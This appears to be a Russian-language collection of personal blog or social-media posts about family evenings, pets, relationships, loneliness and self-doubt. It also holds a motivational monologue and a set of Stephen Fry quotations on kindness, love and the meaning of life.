    Запеканка расслоилась на две части, которые сверху подгорели, а внутри она осталась сырой. Пришлось обратно закидывать в мультиварку в надежде, что "склеится". Спустя часа полтора она была готова.) Ну, как готова..) У всех были сомнения на этот счёт, однако мне она понравилась.) Уплетали втроём за обе щеки.) Доели, допили чай, досмотрели сериал и потопали собираться, чтобы поехать ко мне, так братьям скором нужно было ложиться спать. Нас никто не выгонял, разумеется, но мы всегда сами уезжаем. По дороге покормили моё второе семейство. Посмотрели у меня новые серии третьего сезона "Сотня" (как же я его ждала! Но от лесбийской тематики выворачивает..), "Во все тяжкие", поиграли. Вечер провели отлично, очень мило и нежно. День был потрясающий. Несмотря на то, что не обошлось без негативных эмоций с моей стороны.

    Когда Милаша не выпускает меня из постели..)

    А потом и из квартиры..))

    Кто порадовал принцессу стаканчиком в коллекцию^^

    Дарья великий гримёр.))

    Обожаю любоваться нашими семьями, когда они что-то или вместе или между собой делают сообща.

    Федька прислал..)

    Немножко себя порадовала^^

    Пришлось брать кофту большего размера, чтоб носить её как оочень короткое и свободное платье..) Спереди короче, сзади- длинне, по бокам разрезы..)

    6 января

    Бабушка Китти:

    -Рада была знакомству! Подольше Вам встречаться и чтобы всё хорошо было, - после этих слов я превратилась в спелый, улыбающийся помидорчик.

    Мама Китти:

    -Вы все плохие! А Даша хорошая!


    Валера меня не жалует, однако в подаренном мною желье с радостью спит.)

    Мама:

    -Я позвоню Владу, чтобы покормил тебя, раз дома не ешь!, - и ведь позвонила..)))

    Фото смазанное, но очень дорогое для меня- исторический момент, когда САМ ВАЛЕРА ПРОЯВИЛ ПО ОТНОШЕНИЮ КО МНЕ ЛАСКУ, ДАЛ СЕБЯ НОРМАЛЬНО ПОГЛАДИТЬ.

    Кто чемпион? Не я..

    Федька:

    -Дашундра, знаешь, почему ты выиграла? Я поддавался.

    Давно не играла, отвыкла.(

    Перед моим отъездом смотрели короткометражку^^

    Мои пасаны.) Домой тихонько не проскользнёшь..)

    Все эти знаменитые классические истории о любви. Никаких поцелуев, ничего, ну совсем ничего. Невыраженное. Вот почему эта любовь великая. Невыраженные чувства никогда не забываются. Из фильма Андрея Тарковского "Ностальгия"

    Что значит быть счастливой или точнее сказать полнейшей сил, новой, как будто ты сново родилась и ты понимаешь что такое добро, а что зло; что такое любовь, а что влечение; разочерование и месть. Вот такая я сейчас, будто вижу мир другими глазами, вижу то что когда то даже не было важно, слышу то что в прошлом пролетело мимо ушей, говорю то что думаю. Ничего сейчас не привлекает мое внимание как детали, в сегоднейший день я счастлива от того что думаю, от того что вижу улыбку любимых и дорогих мне людей, от того взгляда что не мало был вашен когда то. Раньше все было сложно, я искала сама себе проблемы, но а потом мучилась решая их, а сейчас все легко и удобно моему сердцу. Думала что слезы и печаль решение всех задачь, но нет решение это битва с самой себе чтобы достичь желаемого. Хочешь чего то борись за это, не дай другим забрать твое счастье, а если и забрал делай так чтобы он пожелел а своем выборе, делай так чтобы ты была желаной и лыбимой, а не унижиной и грусной. НЕ ПОЗВОЛЯЙ СВОИМИ СТРАХАМИ ЗАВЛАДЕТЬ ТОБОЙ. БУТЬ УМНЕЙ И СИЛЬНОЙ ЧЕМ ТЫ СЕБЯ СЧИТАЕШЬ. Не савершай то что тебя гнетет и закапывает в яму с именем ОДИНОЧИСТВО. Как же я была дурой думая что все что хочешь можно добится сквоь время, но нет время только бесмысленый background что заставляет нас торопится, истиной бывает лишь желание, желание быть с кем-то, желание быть кем-то, желание достичь чего -то что в одном конце сделает тебя счастливой. Вот и дошла до начала моего монолога. Что такое счастье и полное удовольствие твоей жизни? Это твои мечты, твоя цель, твоя любовь. Так что если ты хочешь чего-то добится не живи с этой мысли, а действуй, будь смелее, начни с того что ты боишся, но а потом все будет казатся легко. Начни новую жизнь новыми красками.

    Нужно было видеть реакцию милого, когда зачитывала строчку про "своего молодого человека"..))

    Я ни на что не намекаю, но ветеринар оставил мне свой личный номер (!!) и сказал, что можно звонить до двух ночи; каждый приём веселит меня, посматривает на моё кольцо на левой руке, рассказывает истории про бывшую, связанную с котом..)

    вчера был день рождения у подруги и ей исполнилось 20 и тут я задумалась "блин, а мне будет 23" сука, 23. я вспомнию свои 20 года, как я была в москве и как я мутила с Гладковым. это было совсем недавно, но так давно.знаете что меня раздражает? это моя не самостоятельность. мне 22 а по выходным, я отчитываюсь перед мамой во ск я буду дома, да с кем я, да чего я и меня это дико бесит.хочется закречать "мама, окстись, мне 22 года, я не прошу денег, что ты меня так контролируешь??", но при этом я понимаю, это же мама. наверно я буду такая же. скоро закончится моя учеба, закончится беззаботная молодость и я должна буду думать не только о своем обеспечении, но и о родителях, и от этого мне становится дурно, тк я сама для себя не определилась, а что я хочу от этой жизни. люди до старости не могут определиться, что им надо, НО, не было бы у меня старшей сестры, который я типо как должна подражать, то было бы все проще, но тут, смотря на нее, когда ей было 22, она жила со своим мч и в 23 она знала четко, что она хочет и куда она хочет и переехала в москву. а что я? я, учусь, палец о полец не делаю, но слава богу, у родителей денег не прошу, но мне все равно стыдно, что я такая ленивая. на словах я огого, рассуждаю правильно, всех осудить могу, а сама-то ленивая жопа на деле. говорю "мне нужен толчок", да кто как не я, дам себе этот точок? я все жду чего-то.чудо жду, но блииин Ксюш, его нет. все думаю, парень появится, все ок будет. ага, конечно. но от парня я бы не отказалась… я без отношений уже как бы больше 2ух лет. 2 года, 2!! мое желание на нг не меняется уже года 3 и всегда загадываю вновь влюбиться, быть любимой, но нет, ничего не происходит, что дико ранет мои самооценку. короче, все не классно.вот.

    7 мыслей Стивена Фрая о любви, депрессии и смысле жизни.

    Стивен Фрай — актер, писатель, теле- и радиоведущий, кинодокументалист, борец за гражданские права, просветитель, эрудит, человек-оркестр и национальное достояние Великобритании.
    Он сидел в тюрьме за мошенничество, злоупотреблял кокаином, совершил минимум две подтвержденные попытки самоубийства, страдает биполярным аффективным расстройством.

    О взлетах и падениях души Фрай знает не понаслышке.

    Главное, в чем я хотел бы быть уверенным, — что в нашем мире превыше таланта, превыше энергии, сосредоточения, целеустремленности и всего остального стоит доброта. Чем больше в мире доброты и жизнерадостности, тем этот мир всегда лучше. А все большие слова — добродетель, справедливость, истина — карлики по сравнению с величием доброты.

    Бросьте выяснять, что общего у успешных людей, посмотрите лучше, что объединяет всех людей неуспешных: они все время говорят только о себе. «Мне нужно сделать это, мне нужно то…» — первые два слова обычно «мне нужно». Потому-то их никто и не любит, и поэтому они никогда не получат того, что хотят, из-за своего вечного «мне надо, я, меня, я, мой»… Интересуйся окружающими, пользуйся глазами, чтобы смотреть на мир вокруг, а не на самого себя, и тогда ты встроишься, станешь интересным, и люди к тебе потянутся. Они тянутся к теплу и очарованию, которые излучают те, кому искренне интересны другие.

    Много раз я прикладывал руку к груди, чтобы ощутить, как под ее астматической дрожью бьется мотор сердца, вздымаются легкие, циркулирует кровь. В этих ощущениях меня поражало, насколько огромна сила, которой я обладаю. Не волшебная, а настоящая сила. Силы просто жить и сопротивляться трудностям уже достаточно, но я чувствовал, что у меня есть еще и сила творить, приумножать, радовать, развлекать и видоизменять.

    Однажды я чуть было не издал книгу в жанре полезных советов. Она называлась бы «Стивен Фрай — о том, как стать счастливым: успех гарантирован!». Люди, купив ее, обнаруживали бы, что она состоит из пустых страниц, и только на первой написано: «Перестаньте себя жалеть — и вы будете счастливы». А остальные страницы предназначены для рисунков или записи интересных идей, — вот какая это была бы книжка, причем чистая правда. Так и хочется воскликнуть: «О, как все просто!» Но нет, на самом деле перестать себя жалеть вовсе не просто, это чертовски трудно. Потому что нам всегда себя жаль, в конце концов, вся Книга Бытия ровно об этом.

    У меня имеется теория — большая часть бед нашего глупого и упоительного мира проистекает из того, что мы то и дело извиняемся за то, за что извиняться ничуть не следует. А вот за то, за что следует, извиняться считаем не обязательным. […] Мне следует просить прощения за вероломство, пренебрежение, обман, жестокость, отсутствие доброты, тщеславие и низость, но не за побуждения, внушенные мне моими гениталиями, и уж тем более не за сердечные порывы. Я могу сожалеть об этих порывах, горько о них сокрушаться, а по временам ругать их, клясть и посылать к чертовой матери, но извиняться — нет, при условии, что они никому не приносят вреда. Культура, которая требует, чтобы люди просили прощения за то, в чем они не повинны, — вот вам хорошее определение тирании, как я ее понимаю.

    Вероятно, сейчас я счастливее, чем прежде, и все же должен признать, что променял бы всего себя, такого, каким стал, на то, чтобы быть тобой, вечно несчастным, нервным, диким, недоумевающим и отчаявшимся 16-летним Стивеном. Злым, объятым тревогой и несуразным, но живым. Потому что ты умеешь чувствовать, а уметь чувствовать — важнее, чем то, как себя чувствуешь. Омертвление души — единственное непростительное преступление, а если счастье на что-то и способно, так это на то, чтобы замаскировать омертвление души.

    Если вдуматься, у любви нет цели — это и делает ее столь величественной. Цель есть у секса, в смысле разрядки или, иногда, размножения, но любовь, как любое искусство, по выражению Оскара Уайльда, бесполезна. Именно бесполезные вещи делают жизнь заслуживающей того, чтобы жить, и одновременно полной угроз: вино, любовь, искусство, красота. Без них жизнь безопасна, но не стоит беспокойства.

    Мне просто нужно было это где-то сказать. Возможно я удалю этот пост, но сейчас мне надо вылить эту эмоцию в слова. Можно ли возбудиться просто от фотографии руки парня? оказалось, можно.

    Как бы ни поворачивалась моя жизнь, я всегда любила и буду любить тех, кто не от мира сего, не таких, как все. И пусть я восхищаюсь теми, кто стоит твёрдо на земле, кто живёт обычной счастливой жизнью и получает от неё удовольствие, но моими, действительно моими, будут люди, которые, если приглядеться, и не люди вовсе. Потусторонние прекрасные существа с тысячами миров внутри, в маленьком закоулке у самого сердца. Люди, которые меняют мир одним своим существованием. Вот за них я бы и жизнь отдала, да только куда больше хочется провести её рядом с ними, чувствуя себя причастной к чему-то великому, к тому, что неподвластно бренным земным тяготам. Я люблю их, люблю всем сердцем. И очень сильно недоумеваю, когда они (вдруг!) любят меня в ответ.

    ааа вот и не больно!

    на самом то деле я за счет Дениса, решала свои личные проблемы. Да вспоминая об Юлике сердце все еще екает. и я думаю о нем часто и много. но не так как раньше. и наверное надежда там еще дге-то теплится. потому что я ее… ну.. чувствую. будет как будет.

    ДВЕ ВАШИ ЛЮБИМЫЕ ЦИТАТЫ
    1.Единственная беседа, которая может чему-нибудь научить, это беседа с самим собой.
    2.Господь любит либо холодных, либо горячих.

    Название этого поста - это фильм, который мы с Р. почти год назад недосмотрели. Только сейчас дошли толи руки, толи душа. Понравился, хотя актриса меня раздражает. Пока смотрела фильм, раз сто зашла на его страницу вк - единственная соц. сеть и мессенджер, где я могу его сейчас найти. Сижу и смотрю на эту тупую, бесучую, ужасную, бессердечную кнопку "добавить в друзья". Какого черта?! Какого нахуй черта "добавить в друзья"?! Он мой самый близкий и родной человек. В друзья… А фильм вовсе не скучный и не неинтересный, ты был прав, Р. Как тебя забыть, чёрт возьми? Как забыть своё сердце и душу? Как?